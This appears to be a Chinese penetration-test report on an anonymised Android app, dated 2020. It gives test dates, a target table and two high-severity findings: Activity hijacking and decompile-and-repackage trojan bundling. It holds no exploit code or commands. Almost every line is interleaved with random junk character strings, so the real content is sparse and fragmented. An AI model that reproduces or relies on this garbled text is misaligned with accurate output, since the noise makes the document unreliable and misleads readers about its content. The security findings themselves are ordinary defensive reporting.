" @( N+ q9 V/ @5 Y M) |, S
- ~4 s3 R \. W7 H; W
. l: x( ]5 g- Y9 z
' P( D9 y* I }& Z* G5 c7 y
! Y1 l: @- _' g
5 }5 ~3 S0 O8 k2 `7 f1 D$ Z3 W9 X
0 @8 s, v' t3 p% B4 D# F% D0 L
! j7 Y# R4 l% d0 g/ E
0 y9 B1 r) R8 ~4 Q, J4 Y
* j( f# |# K* d) z( n c2 D
; G9 V9 H7 W/ o6 x7 K( A8 O
8 m1 u, R: D: B5 w* q# Z 文档编号:
+ W" D: B9 v. Y! y* B1 F3 t* ?9 t9 B- x- }7 o
$ r4 p4 V9 a, g3 b- {; G8 f4 D( i8 ?% w. k5 w3 |
- F$ w, X& i, @0 R: [0 H C
2 G* ?) z: @* o# t 2 v( a1 r! E H N
5 k3 ^5 {7 m. R& l! `/ ?* `
- N: ~; _( P/ ?3 H8 i1 ^, Z9 b
: c) `3 b1 p% _2 X+ s0 s9 P
# S& I6 i# f+ ^1 o: b w3 @
4 e G; F2 g" l7 Q* u5 l ' ?1 m, x- [1 R8 b
3 M8 |+ i$ D o8 [: f2 K B$ Z- x
# ?: _) l7 s! k# @9 j9 p; r; Y3 {
7 S l" X2 M: L1 m0 d9 T: q" J
, E9 Q+ B. m# f8 Z& S
" T# ^; q/ p5 B+ }
! n. [9 E" n- l( Y% u& X$ Z" ]4 [9 S6 H
: r+ F6 l0 m7 p# |4 s. S5 x. |0 b1 D6 `2 C9 Y- ~! E2 ?9 f
$ b4 [+ B0 W- L& W
0 I: X, m! ]$ }9 E; y3 T1 m 5 G7 t0 o- J# `5 _
# M {$ H* P3 \
$ L, m( j9 d/ W$ y& a
* _ m8 _( O/ z7 n8 ?$ x" ^4 w : ?+ P6 ]9 I0 q( T) d1 |$ D
, l; N2 h2 G9 O$ w7 v: y3 f
3 O6 F& c$ ~4 s! i$ X
- k$ F! g/ F" u) k: X- c
! z; j) l$ [4 P; k" S6 ~
2 j. y, G# f' ]% [# V
6 [' K: x% G7 C. G3 G( N3 F
4 ^, Q! W3 ~9 d i: b" d V 某某某APP渗透测试
8 | s! L% e* w% H4 F+ M2 ]- }( s- l- s0 `0 G+ {3 L1 r/ Y4 O, S
+ D8 Q2 v, W% P3 U1 F1 s+ i3 K A# I* N f* g+ X. O4 q
) k. ?# n# Q2 }' C+ ]3 I# J. ?5 c, a: |; T9 \1 F
P+ V2 s% h d, ~% r" S3 P8 G
( Z' |" \ ~7 L$ q: s3 q+ f+ u5 K
% f8 f8 y/ c/ n/ M/ [- c& o- Q3 i
/ T& ?6 D+ @4 m5 X9 J
/ B8 g V2 J; z+ _9 X: K. d2 f5 I: `; h0 @
8 s& e P( o9 g: Y" y
' k) V3 t0 z S- O( u
4 [3 V* c9 h1 }1 n
) B" h6 z6 Q$ ]! `
* t6 ?* a; {8 N
( H# F5 ^; c6 d ( v+ a& E5 A- p! Z+ l: w- I4 q
0 a* }- o( ?9 w( G) c9 W9 {8 e
/ @7 q# t! y# s$ F1 n
- Y2 w3 E5 r" |8 w. H- j/ b: Q2 I, z
+ i4 M- o, V7 g% N- l, h
$ E8 X- Z, C9 C7 z) U ) g, U' h* c: W4 e" _' q0 i
. j; u: w; ^1 b3 \- t
, W& B6 A b4 C* _! M5 u
# `9 Z$ g- [* P( }! m% d% u8 c" n 8 W% `# C. e$ M; Z
6 |/ j5 D: ^+ k: V& ^) t 技 术 报 告 3 `: p: {( T/ D1 ]
$ {1 g& ]6 [% m+ L9 N" r8 g
$ l1 f: r4 p7 J# K" ?5 S
+ O) {- w" r) P8 o- h2 q+ L9 X
+ x1 |/ a# g8 b* r+ O8 a) c9 N$ s
# X" t- t1 w0 U- s8 B
; g" a* y; Y3 z7 p
1 g5 O# W" e* ], h8 Q, c
. v3 S: _# ~/ F3 |" F
0 H4 W4 S4 [- b! g( h
3 s- t7 S% u+ A$ P. v: u
1 m. b) ^( |6 Q+ N
2 O: ~- Q3 V$ s ]0 ~3 k* }( m# D% k% P
5 ]; G' C) [3 t! _/ e3 p" ]
3 Q( k" k4 y3 |+ `
: t. z# y" v- ?/ |& V* n2 M9 n6 E$ ~/ X
, V2 M) w8 N4 B4 ?5 c* d% h$ g
! ^6 }) l) I2 W( E# Q* {8 |/ X/ I# ?( z/ [* u& s
8 y* B0 R' K3 Z+ u: F- J4 U# {7 Q/ T& h9 Y
( c1 K$ C5 ]; s# Y: Q9 b
9 S1 i$ P1 P* J( ^
: y w, g% c. @, Y" Q( V' r( C: U. C
( e8 C0 z6 ~$ y6 a
5 k. g) u& {/ `0 K) l/ `
7 f! `6 a1 K5 i* X: q! \& y! F8 m
4 g! s( K0 B1 `% ?: }
/ s9 _8 D5 O8 G# I4 i# X9 X) X * J6 Z. A( C. R% t: j
" d L& r9 j# [/ {" K, l# O
- |8 G6 v% X+ z* t b+ ]) X! H, j( ^2 c
5 Y, z! \0 C8 f9 ?/ M3 y8 a, \& s9 t# r% g+ P9 `4 e3 O9 o- q. I3 t1 P c
9 B$ I# e. E1 D2 j) s- b
- W2 f6 t$ B0 H: M' E
, ^3 N6 a7 Q+ _& R
b! t: X- K: }; V; W
1 p" o. F: g: E( w3 _
, O( k- t* b N . ^0 n5 I; @6 G3 I' @' S# L
/ W4 _3 C+ q& r0 z
8 n. n. l1 }# \ U& @# V+ I3 ~+ y
6 W1 N B! h; R/ k, l
) j( P# [' N' y* L' ^ : i- q }2 D+ E7 g4 ]
% R9 V- d- `4 G) R
0 V7 ~$ Z2 `& D
9 W- w, o* s% B6 V( ^& V
+ J+ z0 k& ]5 F9 c" U* T' J& D
9 f1 n2 Z. M q 3 K) M" S& X# l. n3 C: s8 o
# n X- s1 P+ b; C- M
$ {# s3 c! Q4 T/ \2 ]' w
, U4 |# V6 i* j* v; }2 B3 I 7 {, r1 T# \5 z) @
5 K% v7 C- B' S5 f" G) n
t! `& r# o3 }1 s. G Z8 |* |
$ j7 A- W: W" }
0 _& X }& B! ~$ W. {7 p2 m
1 Y0 x Q7 ?5 [" R+ D% o# N
6 s; D% w% n7 v& k1 T, x
' g6 M% w" K$ K' {/ f/ ~
# T2 E$ f. s: N, a* d
$ Y5 d! C* y' N' }6 s: b. v
4 E; Z+ h( A, p
$ K( c( @- [* R, _: J7 |
9 A, X/ C2 S( M3 o: J6 X/ {& i$ Z, g
& T* v+ P! F) i" }8 A- M, |
8 ]% E/ C! f* O; A6 B5 L) j# j* L
) s$ r Z0 w1 ]$ G- B+ O& ? [$ Y7 b F, q, |( J! b
( @4 d; u b' I
7 G/ a" s; X# ~' w0 g
9 a% C; k$ @. r$ t0 m0 S2 z3 Q9 `$ l8 M( c. y' G
! t$ `. G: |: x+ U
: x/ ~+ _3 G& ?
1 v" F$ ^+ W: f# }9 X* X
6 V, Z; [' D' y. o# w M5 T + v6 ^9 e) ]% l3 t t
$ o6 g* x2 X7 y- ]% M$ ~% t- L; }
8 i4 h% v1 _; t: K
9 ? I4 S# X$ D' N. e
1 J) f1 J/ w5 e+ m( a
" N1 ?6 s+ }) m. d) c; H7 b
+ T9 k0 Z& L, O
' p0 \ H2 R! ?( Z
+ g* v8 I! v3 k" t/ c7 i, w8 g% a, ^4 z3 m# w6 o M4 D
4 w( e' `& ~" s5 i4 `' U5 {
* k5 O# q* w8 U3 m1 r/ q( m3 R
7 T& q5 B. C Z
' K% H; h. i# v1 D3 j0 D/ E
* n8 s9 B) x5 I% L( X+ S+ B; N* T% _8 c U- C4 J
5 h& e4 C; Q2 U
2 O4 T% r: ~; k# B% b( U( u' z$ z
& p9 D* T" _1 t/ \; X" O h/ Q! w
( M( \# U6 Q) E `
: u, q3 ^8 d6 g& O! o# \2 ~( n " Q* S0 Y- q9 v$ B
/ a, a6 I4 H/ p- q/ ~& ]9 i1 @ 4 P: [; S$ L2 Z, K! `
1 E1 J( ^. b/ s0 A# S6 k. r
" v b- x4 F+ T. S
5 H( c' g2 e) z( `" n% Z6 g
+ t5 ?, K1 K$ x4 _) }% M5 ~ Y
: {! a1 Y4 F: t+ U. E8 U0 n 二〇二〇年 3 x6 ?# e1 @; ^
D/ F6 x" g, o( U4 \
' ~1 c# A# u0 S( {8 t. @: \
1 _* Z5 T, T$ E0 m
G: z" D- o2 i# c
# r- W# ?1 I' a* m1 x5 E
2 m, L3 Z4 s! G% M
2 _ R7 r. f1 }( b1 u , g9 ?0 ~9 J' n* q
) t2 E: x9 S* R. K' b: q
( X3 j$ _) q. n) g! h7 P3 _& s& W% g2 \9 C9 k5 i2 e
- i8 _/ e( ~; B5 K
. M3 ~0 B6 P Q2 q g! p
8 C2 |9 I! Z: L6 _ q' K" N5 _# m/ a$ b7 w+ G
! P/ I0 {1 I( W2 H W; b. k( w' a9 q4 c
9 c! k# Y( O) {- z% a G+ p% B( p
4 S1 f4 M! l, _% i
; x! n) k5 M: e# d# u' S3 z# e: B8 t
目 录
. L0 e+ @. H/ N6 v, W9 X8 G# e
+ m# H* `7 @- \0 A2 ^
0 V+ U. d6 h! A. S* g3 i' H' U% b8 ~/ Y& y
0 O; V* m4 y; g1 |- F
$ r+ _, T: M" s) j 7 [9 h- u# d p8 J/ n$ Y- d
) B* U" r. Q8 g( L* C: w 3 J* G1 ?2 b* R% r4 M& ?0 V" M4 T
5 f' m! k$ D8 I0 A5 R- m. i, a0 S
; ?9 r7 z% U5 b) [# _0 O
; g! j4 Y6 w9 q1 ~, M! O I- X) F3 P4 {" k3 @( V& w
2 v: D" y( M2 h; _ Q 1 概述... 3 ) S3 j5 e0 x; w8 y
1 F' \& {* z& E$ |5 `
$ w# V I" q5 x( ]6 ?# @* X% j
( J5 v# \: z. c% F6 A2 j( G0 V/ E! `0 s
. y4 S' y9 B9 _( b( N6 ?" m }" `4 Z: V% N9 h6 Y
1.2测试时间... 3 ! y7 e! U' g$ y$ d" a9 d
- z: i" ~( B3 I
: V8 }, g# \& Y5 I. F3 z/ {6 B
1 V- g- s5 H) {' U5 g ' G, O0 ^$ j, N' ~1 P ~* `6 l! |
0 I+ K( z9 P, w# K
1.3测试对象... 3 2 Y: }* Q6 G, Y
2 ?3 t& `( W* x8 M9 W2 m& Z
. d4 D0 [: J( a3 y8 F' r* P7 l4 t: ?
3 z; s$ P+ t7 w
0 z8 c6 X& s/ N* R/ D8 T* C9 j, [& [$ u! [0 t) z M2 J
1.4测试结果... 3
0 \" s9 V& `/ Y6 {+ i2 V
9 d/ t; c% u: d5 U9 H1 @
# J# w4 @2 l( {2 V( O" F% x
/ \( Z! `; f6 K, \" _' n' s8 V
1 W0 E# Q9 v9 _ Y2 d% b& p& D6 H1 v
5 y. ~) Z4 g& E
2 检测结果... 4 5 n1 _# w! Y2 i' k* w% @
7 Y& [* N4 w F3 p) x* \
& F# C; V: }. |' \% u V
v1 }) d9 _" J! ?( D
) s: `% M' e4 G; `: k/ V
' X7 I3 M; L8 N8 ?0 C$ W
2.1 某某某... 4 - b; j6 p7 s. r* I7 R
) v: \: Z! j+ }0 T+ @
/ W( F( S B/ k) x8 K; e6 F
; D; i) O5 C t5 }$ r, @' V9 a
G9 k9 \& Y$ Y4 I$ Z3 X$ q0 F( k1 B) }# _) F5 P H5 f% {) }
2.1.1检测目标... 4
6 b! H5 T& U" w" R2 M9 k0 o B+ t2 p3 p
$ X! [2 l' W( i8 T: w) |
& V0 A7 i# d* q t
L; U+ e& j# T; Z1 P" {1 z
% Q& z D1 M& y8 C
2.1.2检测结果... 4 * K) I. i0 N9 A1 V
0 h1 l# w" v4 d6 b4 V
( Z. _! e! [. ~9 A# F/ J9 k. j+ ^
0 G% U# \- y2 K3 g u, q
6 n8 P/ [9 `! Z% C6 t! G7 K. q" I* M2 H2 R# O
2.1.2.1. 4 . I$ j8 i* j2 C: j) k. T) i1 L
! \* z# P6 K- i7 Z
; }+ l+ i- C3 x: w- K+ @# L' z
* u4 i- G# X7 O' u
: y/ D& W+ K, g
/ G+ s' L5 Y0 N8 L5 l5 ~2 J
2.1.2.2. 6 ) Y/ k1 Y" n2 P
) r I( O* |! Y; |1 N
+ D% V0 P7 S* K* ^5 Z) t6 F+ C5 K0 a5 V
; v0 @% O3 ^& B, I8 H G" h9 y
3 q. h! R/ w/ a, ]( b5 G
8 v" {0 w3 H3 ^; z8 R1 e6 \4 R0 e
& j7 \7 t# i! I c. A* v& j8 Z
. q8 ~: ?# @# A" j9 }3 K
* O3 _* E" K6 M4 O" }
) e. p* _9 D1 u9 j6 o
# j/ ?+ s G. {6 x4 T
( z5 S' ?4 Q) ^2 X
. i9 n1 `1 s3 r; N i7 h8 P2 u# I p; _' h
$ s9 H" w9 ?8 v2 r/ `3 W* U0 I) W ^6 l
4 G: p: V; [6 \# V: ~( P
9 K0 i" f# k5 W$ R
3 s, Z( \3 W) w, K
, v6 \7 k- K9 I# Q+ ^/ V) [ 1 概述 8 [: N; O3 [. j6 e% G! n
* b0 q* s5 S$ q- O" v7 `' y6 ]
+ e# u" i7 p! f9 j3 ^# h8 O8 L' R
: H# q( z x* g. _7 i C- O4 D" Q
' {- k- q9 x/ r+ T+ g3 G) u4 m ~
8 ^! K: v$ x- I 1.2测试时间
: I# @8 q+ c& K2 ^+ \
6 y. G' m! M& l7 X1 e- ]1 i
5 g' k" L ?3 E" P9 D
) p8 v$ k+ q9 c) N' K
+ }% }0 ?8 B0 X( ^6 q+ P: m
; ^$ w* ^) I. [6 K- [ 8 T- C3 D Z: D
( a3 _8 d! n4 c6 S
4 }2 [8 C5 w! a" f e2 {
5 B; _+ q* N# i q1 ? F9 ` ( {# W3 V( H# w. W8 I
" n/ j2 \6 c& f
' S* h+ a* R$ H0 ~# u. X [) p
( S' L5 y$ u, `- ~3 L) Y0 D 渗透测试时间
9 P4 f O- d, p/ z2 I; x( x! x) f
! ?2 t* x+ C) `
9 p- n# b; n2 L6 C; m% L% Z% n, g: b/ N1 M# o! p5 m/ C' p7 T
|
5 ?$ W0 `/ f& j# ?' Y# O+ S T: t }! c
' e; c9 @+ b5 A$ S" ~9 a* }5 p( N- g4 Q' j
" B$ V# o2 L6 {+ V& r: |. j
: p) d5 m% z: c/ Z/ h9 f2 U * l# L/ l3 T! C9 j/ H+ D; g+ n
8 l, G" o* G+ F9 |$ F
6 S, X- q* j. B0 ?6 G: I6 O6 r: N+ X- m- E* o# n i
起始时间
6 J" W# T; N' i" Z6 S! u# _) M
. A$ F; @) t+ l5 v0 h0 f 9 a6 \7 `7 J; J! C, _1 K7 u
+ h( T9 k/ `& b Q8 S# \
| d# t p; f* M
. Z* v- K2 ?. f" w5 s3 f
" C# K+ U( }6 N' ~+ [, X/ a. t* \* ?& n) G
' A3 i7 @. |* Z- D. I* D
& Z0 A& W* k0 Z% L6 u, g( N+ q2 P 2020年4月6日
3 G: \( O, G& F- A. K- R; ?- `: p! N& @
% R2 q6 p, n9 G" {3 X7 s1 \% z, i# w) S
|
1 b; \; _/ Z( r$ i+ a2 a+ f2 |
9 x% d) c, S8 N! ^
# i& l) H; h+ d
/ E" |$ t) d7 ]: S6 |7 s5 ^
- a; G s, `9 |8 ^* ^" |
3 X3 W z$ h* W: L" a W % f c3 e. c1 A$ K8 ]
, J5 C3 \& N* j' Q) r- F7 V
- x9 Y1 b% W' Q9 R) c7 c9 S7 v/ e. z9 I* z W8 L: Q. M
结束时间 - O: t: q: j6 |0 @# U
_" v. R9 T1 V) D: i; N, B
; ~$ u3 v. X# ]" U' T
! d0 J1 E+ i0 q3 Z+ d8 e6 x) I
|
' Z- n( T$ V8 ~* o( M5 v" A0 y2 x8 V0 v6 m% {
7 X7 t3 N- F( s0 C7 I3 _, S& j! @. {
# U0 w* m1 X; P4 F6 a m6 D2 L- w$ Q: W/ b& B, B# a- e. V* J
2020年4月9日
0 t# w* [& [1 o ]! ^
. E# R5 G3 W, S9 z7 J& T8 V
9 @9 A/ G; o0 i+ z i% U* g
) I f! ?# x/ V1 B" w |
2 K& x/ S( G' Q5 i8 Y7 w J2 t N# e* M K# z6 Q3 m; k: c+ [+ ^9 b o
) j2 N& B: K S* {% o
1 z6 t0 |! v4 X; g. n$ H8 `# i
# Y. \; D1 b- H) Z2 ^8 n) s1 I, _( l1 S p/ ~+ S
% m2 s- n& c$ W, U2 |
& k- E4 d& f6 j5 f. E : E$ |3 V# k+ K: t6 d T
7 G* d% ], E7 g, C o
1.3测试对象 / {1 M! K0 i3 J R. w l; P8 t" a
& K# A5 X8 {2 B5 j& o7 t
) v1 ?- O+ I" Y6 L
6 W: S/ r9 Q, P3 g2 {8 }8 \
# b! Y9 G+ e N& c: v
0 N2 }- H/ }& h$ h3 s( c8 y; X; K1 T4 F/ v
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
* Q$ Y" D# W- r+ _, t; M8 |6 G" C) x; q( L) f
5 W9 i8 h& ?& q" w3 j8 P
1 S6 O) R7 s( ^- \ ' _1 x- D3 I! R' a% s
& y, m1 w1 \* A; E* L7 m 表1-1 检测对象
, v& h6 q4 `0 t
2 g; x$ M+ j+ B4 E& H, b
( w2 [( l- U+ g% s& l/ X) _4 }/ U" _
- c6 z2 H! u/ G
4 G- U6 |1 ~4 ] {, O/ }- W
6 V2 ]# [# I, o0 F( m. D; m: U0 |# z% R; Z
* i6 |/ a8 Q; `0 }* Q
: K5 A x1 R/ S9 u; {6 Y/ H& ?2 t
- n) ^' Q* x$ @: J& f4 S3 ` `: h! y1 P1 _" `' K7 H
" `; D) r1 J! J$ ~9 i
2 V1 V$ |2 P+ A" ^. N; } ` 序号
+ p5 U7 l8 h9 h& S# b- U) ]! T& }0 c- r2 D4 `7 F
$ ?9 L- F6 Y3 V3 D7 r
?: ~0 v, N/ t# h% W$ t' E( F |
/ F( V; j# }5 t& A# C: t( k8 n8 N3 w# f/ M# N* e/ L' P6 J5 O0 p
9 ^& L" e% g" _2 X2 ~& \$ N% Z$ O
3 Y: `* N9 u5 V0 e( s3 _
- d6 M1 @2 ^* l9 x9 s1 j1 [
$ e: _$ T3 v7 Z$ Y( M$ X9 ` 测试对象 " s% Q5 J# [% a, _$ V: F
( s0 u$ z; {, y4 l) d0 \; J6 r$ s
8 L. \ R0 T! K% i7 F
- U) ]2 u( @4 [# j4 u. i | 1 ~: _2 S$ b2 @
0 i9 U5 B q) y% a! a/ m1 A6 m# ^ 5 g- G( |. b0 }+ W
/ D* m' |( t$ {& F 6 }- Z* I, ?9 S5 g
8 V8 v8 X$ M& j, x+ l
测试地址 4 q; q6 \0 y0 U8 h% m+ K D4 A
. x! x& n& H* _, C, S& a- W# |2 g
; {) K5 j% U- X- C
. Q3 X1 _0 v4 ?. j
|
9 |* |1 k- G: p" O/ Z2 T0 N! E4 T+ f) i1 \; |9 k% ?
! i/ b0 F8 E5 X' s- X
+ u1 V( L. r; m3 {0 J
4 M* i8 f6 g/ w( _- {4 ?: R! y& A4 Z0 v
安全漏洞
- g# [9 I& ~, p; A7 E
7 D1 M c# ]/ T # H; y# H. M! Y
$ ^7 g# ?, J) ~' [: E3 ~ S
|
0 T$ n* R5 ]- ~) K( |% }) q# a- w! t5 b& E; @: ]
& X( v- I- l5 M7 Z+ v& j+ j
0 `8 F9 c( i. P% }/ e
4 n a2 f6 C% O; d9 k* c5 Y* o5 F& |( J1 _ g' X
) C1 ]4 W' C' t9 p% `8 `* O, {+ Q. M
& |. ?) C! m( k$ j' }" W1 F! e1 o3 N- v5 \2 W
1 3 m1 `5 q- G, m5 @) Z
- D. I+ w% I0 u3 c8 ?& C8 o
. }& i! O$ k8 E4 n4 X
7 p7 s" I1 n* ? |
8 ^* T; {/ z: q% }5 Q& l: P! {* j, ~4 j, E
) h5 G6 n5 o- \# I3 I6 c ( y) \8 P2 N% W/ e. r3 p( W
9 n5 N5 o' K8 y M7 j8 M0 x
9 z( s' U9 ^+ q# r8 L0 h
$ j8 y& Z; Z6 B/ u* c
某某某安卓APP / |8 X" L, T3 T2 }+ g0 T4 D
$ O! J" v0 V% \
7 {& x' }1 P% L# k D( w
4 i" Z* ]/ m: I4 C& a! b |
2 J* u! l) a1 c+ t& x
) f5 S& A5 ~; `. [$ W5 L$ p% ?
" N% C; c7 {- Q$ N* o5 b% k4 j- m
9 |! q. C* W! f; w
0 {8 r0 G$ I5 Q4 W7 R6 n- k e! y/ J1 b \
7 x# F4 j" r9 N4 P) g6 S2 X& \( d7 d: R* [: w; |( {
. h+ k, k# q! M3 w" o1 m2 |
8 v; j# N* W+ e) @7 O5 ~ g | 0 e2 O( Z7 u7 I: c
" y8 M x3 g1 R$ W5 g9 Q
, o0 R& h) X7 ]0 [% \+ A; h( ]- P- _$ D* ]7 e; g5 h& }
( y8 U ?3 p" Z: k) _' V
" c9 B8 _3 @& d4 j/ o: B 2 ! d6 z0 i% A/ t- m) j
2 y. n+ p7 @! S) }3 w: X
( x2 e* v0 L% c. | F4 J, A, K; ~; o8 l0 X4 o' s; j9 X
|
& Q3 x ~2 U, M. ~5 T) j
* o2 I: }; H, M) [' k
9 X( L/ o" N. l. x2 d% p: h9 t5 d x0 W
+ |4 n _; d Q 0 S% L( ^$ b. M6 r/ s' k) ^2 W' t
F4 e8 k! U, }9 N5 q+ p) _
2 G9 U5 m* \, P! @) d# }
, E9 F, M1 e9 f( L( @
* @* I( p5 k8 {, @5 `- s9 \
' w) A7 I% o) E: o. { 1.4测试结果
$ d+ B2 Y' s, H, |8 V9 i% Z- ]3 V& n. S7 ~8 a
' ^3 B, c% c$ | R6 E: o' v) n3 K0 g" Q- S4 t. k: J/ f
/ v0 s4 y3 J8 t9 j: V$ v3 S
( ~3 n8 i9 ]0 j$ H& T 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
$ j) Q; _, {1 y$ K: K4 T8 K5 D8 C3 |9 q! t* z' @* G: h+ ]
; `% n1 V# W, o! F
! N3 r" z3 h5 ~/ t " X5 @2 h4 a L$ t9 x
2 G' u& W2 f: H4 x0 A
5 \* X) u) s; p0 C8 X: i3 e/ l/ P$ x: c0 b6 Z$ e9 j! P
, ^/ n' Q; ~: e8 i/ z& E
4 q: A8 o% Z& I. F2 M
8 Y+ T, ~/ M: I( `) ]: A; p% n$ W( a5 K
# R+ i- l: N7 Q1 b" K + S5 [. Z0 a( G' m0 k& T9 u
; f( A! e. ]* m V4 O- J& R0 W# o) u: V) G0 u
9 }3 f$ H! t0 B0 |% L, s
! D( o& {; a. l' E" H1 q
! ] G: x8 B' q! [0 C7 b ) }2 o5 S4 b; [, T7 p
* G, l( s% e, D3 R 5 T! R2 g8 v" c' Z8 f; |: S
- j, X! i; K' e
序号 ' E9 u6 q9 a' \( h4 I. u
2 K6 B, P4 {* C; v) g: E
! S3 U5 L# y( Q; Z/ K; W: E. ?2 G
6 R8 B: L- _; e& R# m | . l; ~" d& j, k* C, l( Q P5 W
( J) {- b1 q k% W# a( W9 y# C4 @$ k ' r3 b# G9 v- o c: H6 a7 q
! v6 X$ u4 S Z/ @8 N0 S
4 b1 N9 I' }: ]0 |. A$ [. l
/ [; L9 K+ r& Z" U; F+ r9 _
系统名称 / {" i& h% q m/ k/ B" p
/ H8 f' b6 c% F
5 }$ O! i; r+ l4 K5 Y/ w! l' f: m" j0 z* l* k, R6 b! ]
| ; y, B( ~* n$ O" K
8 l% @' b6 |! R8 ]& G0 n8 x
, x5 q% ], T6 V
. m7 M6 j) O+ F
9 [! r6 B) E- _+ u& B; |
3 y$ y, B; g% {. [% N) |+ N
漏洞名称 : X$ k3 D8 f1 x p/ Z" @; p7 b" M" m' M
0 S: X" i* ?! z5 u1 C2 @3 _ 7 E& O6 g4 g& m. r1 F3 Q
8 _1 Q6 ~3 Q, m6 e |
- A. @9 a" W" E8 T
* a: A5 y/ j M( N3 Z ! ~* P8 |4 e' D) R1 l1 C
. L3 ^5 ]: F/ K$ t
6 R# R( E" Q ?+ F1 G# ~
! X; W# x* g$ V 漏洞危害 : q& `3 n3 ~) r; X4 @
' G+ E5 r: g5 \ V, I& A
& }/ `% J9 z. ]! x6 r# N# q
9 F7 l. s4 u; Q0 S/ S
| ) @ ]5 U+ b. w1 k/ ] n8 h9 Z7 |
0 _ w& I' K! d) T0 E k
, z7 }4 V1 X; @& f' C+ s! G* {% ]' {
/ A4 |8 T: j* B+ @: J4 V8 V8 _: Y4 x0 w, p
修复结果 % Q7 ~, W2 ]0 ~- Q7 Y6 [
+ v0 j" q* h8 B9 u5 w+ E
# Y+ K9 p* o& f8 P
7 r: V1 K) S3 { |
& p6 d. Q3 [/ h3 k* T
/ Q. j1 P6 A& w- Y5 F
$ k9 D+ X# H+ [% U
8 m* E5 x" G3 k1 r$ T7 S+ d
1 b5 A* T4 W. p8 P9 h" ~
* N% M/ Q0 b' a+ o4 b8 [0 f' W 8 j* o# {" S+ A
: g; o! a: l; M6 a" t, O
9 o) c+ N& c) ]( K( g, u
?5 \ d& g: z: k 1
$ B: g) |! ^8 Q! ~6 D; j/ W& Z/ ^* r
F% |6 K4 W0 g0 J/ \% A( n- r
6 S7 ]) C: N! r: N) R | 0 I4 h! l3 H6 F2 D
3 T4 G( B& g3 [3 v 2 {* ]; L: {1 a
! O3 N* T% W7 H" _, m 6 ]7 z) Z* \0 l; R5 p
4 p x: Y* e2 r* g* k, _% N
某某某某某某APP 7 e( o: @" y; n' S
: c5 Z6 A; ~7 v2 |$ v& g
& @$ Y3 @8 F; q$ l
$ J; U7 p) q. J' A | 3 \2 {8 a3 U. O9 X& g
/ }$ P/ z2 u7 e4 U# o
0 o9 e8 t) W/ S0 ]% g% F( _' n6 z
) k; w( v Q8 N4 }: i" w. ~2 p
8 p. s% ?- w: f" p' |' z
2 B+ l1 q: T# t8 }$ H% @6 O) @ Activity 劫持
" n0 \% I. z1 u' l) {, K- `6 Z: }, A9 L0 J/ \; K
5 Y. `( ?. r+ \& {# c# N7 v+ {: H
8 Q4 |' v+ t) ] c! \
$ u0 D2 |% h5 C5 n& A/ A k& H& U$ G& d" W6 @
; Z4 W" Q8 T. R* A6 D& e/ X. V
( Z5 s0 i$ |% D/ G0 q& q / ?" E9 `* S& o1 ^+ ~
8 q/ q6 k- D! y( J |
9 j8 T7 d0 p/ l/ |) L& d9 t1 i g) j% Y, R; \4 F
4 [9 t& T+ U! n! d0 @9 B
! s# {9 x- g) B" @
! e* N- H, d* h* I' Q7 a/ [2 P$ V! N! v- x' l& o- t; Y
高 ! t8 D) O# O8 P t
# i% n6 W3 y( J; L* u 9 p. J. x: g0 k- n7 N$ F
) o7 s, P; D! Z1 o2 ^ | ! ]8 N/ N4 b- ?
8 ?/ f. S% r! t: Z
7 Y6 C8 I1 Q& @+ B; k- q
/ V2 }8 d# s/ @$ Q ' r6 j; R* O8 o5 i- W. [# `
$ ~- s P# W8 Y3 ]; d) ^ # Q1 y { B% ?4 w
2 H2 _2 q5 J6 {8 s/ O+ W+ g8 T' _) i
$ W; U9 n( ?% b6 f5 \
4 w2 M+ }7 C5 h% ?( Y' q! u* l
| : {7 E Q% a7 C6 }* ?8 r
: l9 M1 g6 n8 \- m/ q X7 ]& w
6 K6 g# G" a& U" O8 x
" j8 G! E7 [. _+ b
( g- \9 O+ D9 a$ z# h0 D* Q0 K
- f" Q- D2 E4 v/ `; b . [6 |- I. A0 E5 x/ @& |3 E
% e) Q& C' q+ e9 t7 `
% a4 ^ L6 L, ]" a8 L; h/ E
0 x- r1 _* q2 j 2 & q" A* j# y2 l0 c( ~4 E
}( ? p' m% i
* d' m/ Y# j+ j5 O
9 {! I3 C# x$ l' P6 s
|
" }" l6 K8 J" t" J
& D% z. z& ~* Q: n1 j ) I, C5 G' A# {& @/ n6 W) j
! H' X K3 I1 a6 Y
* h2 R, S) U d- I
1 I) L# o0 c: Q$ J6 I 某某某某某某APP ) e. b) `$ v2 N$ W- ^% e
: q) n T& u# ^( d- x2 D) o( l( L
$ f5 L4 ~3 g/ p* m- m" O+ m
- E' K# u. j: q* A( B4 r- S | 6 C- U! \$ Q! ]( F- q( p1 G1 \: A( E& q/ K
1 X3 s4 \+ L4 b% l3 C) G9 Z
. A, h" N& e: L* n+ T
& {/ v, |% w; w& e3 ^8 K8 d
r* [2 g' g0 F8 X* Q' Y
; B0 U0 }7 Y" m; X. \4 b6 B 反编译二次打包捆绑木马、篡改APP代码
' G' X3 i u1 D5 G4 K* \5 r5 {4 o
* U/ u3 ]; W/ t " r6 E. T3 u7 Y! l' E0 f
, R/ N% ]5 e% ~8 S
| ! W! C+ b* o2 s) W- M
4 X- d: i; n: A5 Y2 o- [
' C6 v. X( R! N- m# ?6 e5 S- t! S
" Z# {; T" }! Q1 U3 m. |/ o' l$ A |3 I n
高
' i5 w1 _7 R0 q+ d6 u) K& m# @5 h d7 ~) N; C4 x% I
- @: H% t( `: g& x! H2 ~( _3 }- B& A# k7 y: m. }1 f
| 4 L0 N) O/ l3 P
% j2 A% V2 A4 K7 H U2 ?; R! ] * Z1 h% ^. o) ]/ @
6 S8 n8 X V6 y1 E# I* l- {7 X. ~
8 T! l$ L+ M+ D D# e- Q( b( M. {5 r+ k ^& S" q5 w2 o; V- k
) I# x* }% P$ r" G+ J3 Y& a5 m2 h/ ?
, @& q. |2 P$ P; h$ L3 B% z( j
+ [) ]9 @& ~8 s* z1 Y( t) ~
4 J! m4 W( w/ F2 B! j | - W/ H9 Y8 d8 |
% g- z1 ~/ }" m0 B5 `2 |5 x
6 y+ C" B- S; I* z9 E4 U
, E4 x$ }) |% q
* p+ F; k7 C' s( _( D
3 b' ^" [# J0 {
4 E$ i4 ~ X! u2 ] k: i8 a' E
( j' F7 ?& J. s4 s$ E / [" C( K3 } |# \# B
2 {2 y7 ~- X! N9 [7 d" ^( ~
6 T* {5 u+ y, q. o2 f# ]+ l; U
8 V% y" `, G3 B; ]1 s : d4 D* n: [! v
* Y' y: [) F7 l, c
